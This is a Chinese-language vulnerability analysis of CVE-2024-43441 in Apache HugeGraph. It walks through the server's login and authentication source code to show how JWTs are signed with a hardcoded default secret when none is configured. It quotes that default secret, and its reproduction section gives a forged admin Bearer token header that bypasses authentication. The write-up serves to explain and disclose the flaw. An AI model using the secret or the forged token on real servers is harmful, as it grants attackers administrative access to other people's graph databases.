Apache HugeGraph JWT Token密钥硬编码漏洞代码详细分析(CVE-2024-43441)
漏洞成因及利用条件用户启用了认证但未配置auth.token_secret时,HugeGraph将使用一个硬编码的默认JWT密匙,默认密匙可以在官方文档中看到,其值为FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。JWT构造规则分析因为代码文件太多了,所以找JWT构造规则的时候会比较困难,所以,可以想到哪里会利用JWT的构造,就是登录的时候。先找到LoginAPI,其中登录的部分
漏洞成因及利用条件
用户启用了认证但未配置auth.token_secret时,HugeGraph将使用一个硬编码的默认JWT密匙,默认密匙可以在官方文档中看到,其值为FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。
JWT构造规则分析
因为代码文件太多了,所以找JWT构造规则的时候会比较困难,所以,可以想到哪里会利用JWT的构造,就是登录的时候。
先找到LoginAPI,其中登录的部分
看到token构造的代码在这段里。
try {
String token = manager.authManager().loginUser(jsonLogin.name, jsonLogin.password);
HugeGraph g = graph(manager, graph);
return manager.serializer(g).writeMap(ImmutableMap.of("token", token));}然后可以跟进到GraphManager的authManager()方法中
public AuthManager authManager() {
return this.authenticator().authManager();
}可以发现没有我们需要的信息,并且返回一堆函数的调用,所以继续跟进到authenticator()
private HugeAuthenticator authenticator() {
E.checkState(this.authenticator != null,
"Unconfigured authenticator, please config " +
"auth.authenticator option in rest-server.properties");
return this.authenticator;
}该方法只是检查this.authenticator是否为空,如果为空就会抛出异常,不为空就重新返回authenticator。
所以跟进authManager().loginUser方法,在src/main/resources /StandardAuthManager.java中。

public String loginUser(String username, String password)
throws AuthenticationException {
HugeUser user = this.matchUser(username, password);
if (user == null) {
String msg = "Incorrect username or password";
throw new AuthenticationException(msg);
}
Map<String, ?> payload = ImmutableMap.of(AuthConstant.TOKEN_USER_NAME,
username,
AuthConstant.TOKEN_USER_ID,
user.id.asString());
String token = this.tokenGenerator.create(payload, this.tokenExpire);
this.tokenCache.update(IdGenerator.of(token), username);
return token;
}这段代码可以发现构造JWT中需要的一部分参数,AuthConstant.TOKEN_USER_NAME以及AuthConstant.TOKEN_USER_ID,进入AuthConstant接口,可以发现这俩个参数就是user_name以及user_id,还有一个tokenExpire 参数,不确定是有什么作用。

继续跟进tokenGenerator.create,找到auth/TokenGenerator.java文件

public String create(Map<String, ?> payload, long expire) {
return Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + expire))
.signWith(this.key, SignatureAlgorithm.HS256)
.compact();
}进而发现构造jwt的参数所需的全部条件。
Token构造分析
用于用户认证的代码主要位于org/apache/hugegraph/api/filter/AuthenticationFilter.java中的authenticate方法
protected User authenticate(ContainerRequestContext context) {
GraphManager manager = this.managerProvider.get();
E.checkState(manager != null, "Context GraphManager is absent");
if (!manager.requireAuthentication()) {
// Return anonymous user with an admin role if disable authentication
return User.ANONYMOUS;
}
// Get peer info
Request request = this.requestProvider.get();
String peer = null;
String path = null;
if (request != null) {
peer = request.getRemoteAddr() + ":" + request.getRemotePort();
path = request.getRequestURI();
}
// Check whiteIp
if (enabledWhiteIpCheck == null) {
String whiteIpStatus = this.configProvider.get().get(WHITE_IP_STATUS);
enabledWhiteIpCheck = Objects.equals(whiteIpStatus, STRING_ENABLE);
}
if (enabledWhiteIpCheck && request != null) {
peer = request.getRemoteAddr() + ":" + request.getRemotePort();
path = request.getRequestURI();
String remoteIp = request.getRemoteAddr();
Set<String> whiteIpList = manager.authManager().listWhiteIPs();
boolean whiteIpEnabled = manager.authManager().getWhiteIpStatus();
if (!path.contains(STRING_WHITE_IP_LIST) && whiteIpEnabled &&
!whiteIpList.contains(remoteIp)) {
throw new ForbiddenException(String.format("Remote ip '%s' is not permitted",
remoteIp));
}
}
Map<String, String> credentials = new HashMap<>();
// Extract authentication credentials
String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);
if (auth == null) {
throw new NotAuthorizedException("Authentication credentials are required",
"Missing authentication credentials");
}
if (auth.startsWith(BASIC_AUTH_PREFIX)) {
auth = auth.substring(BASIC_AUTH_PREFIX.length());
auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);
String[] values = auth.split(":");
if (values.length != 2) {
throw new BadRequestException("Invalid syntax for username and password");
}
final String username = values[0];
final String password = values[1];
if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {
throw new BadRequestException("Invalid syntax for username and password");
}
credentials.put(HugeAuthenticator.KEY_USERNAME, username);
credentials.put(HugeAuthenticator.KEY_PASSWORD, password);
} else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {
String token = auth.substring(BEARER_TOKEN_PREFIX.length());
credentials.put(HugeAuthenticator.KEY_TOKEN, token);
} else {
throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");
}
credentials.put(HugeAuthenticator.KEY_ADDRESS, peer);
credentials.put(HugeAuthenticator.KEY_PATH, path);
// Validate the extracted credentials
try {
return manager.authenticate(credentials);
} catch (AuthenticationException e) {
throw new NotAuthorizedException("Authentication failed", e.getMessage());
}
}首先,是Http头的限制
Map<String, String> credentials = new HashMap<>();
// Extract authentication credentials
String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);
if (auth == null) {
throw new NotAuthorizedException("Authentication credentials are required",
"Missing authentication credentials");
}这里从AUTHORIZATION中拿出Token,限制了Http头要为AUTHORIZATION并且不为空。
然后开始判断token的开头
if (auth.startsWith(BASIC_AUTH_PREFIX)) {
auth = auth.substring(BASIC_AUTH_PREFIX.length());
auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);
String[] values = auth.split(":");
if (values.length != 2) {
throw new BadRequestException("Invalid syntax for username and password");
}
final String username = values[0];
final String password = values[1];
if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {
throw new BadRequestException("Invalid syntax for username and password");
}
credentials.put(HugeAuthenticator.KEY_USERNAME, username);
credentials.put(HugeAuthenticator.KEY_PASSWORD, password);
} else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {
String token = auth.substring(BEARER_TOKEN_PREFIX.length());
credentials.put(HugeAuthenticator.KEY_TOKEN, token);
} else {
throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");
}首先第一个if判断Authorization 头是否为Basic,如果为Basic就进行账号密码的原始字符串判断,所以开头不能为base。
第二种判断Authorization 头是否为Bearer,这种就是可以利用的JWT认证。
漏洞复现
使用默认密匙构造jwt
按分析构造token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6OTczOTUyNDU2N30.Kc_6-EtUz3J8lS9VZEfsEe4BFYz-GIg7SFFfGQ5VNeE
无token时,返回报错json
加入构造token。
!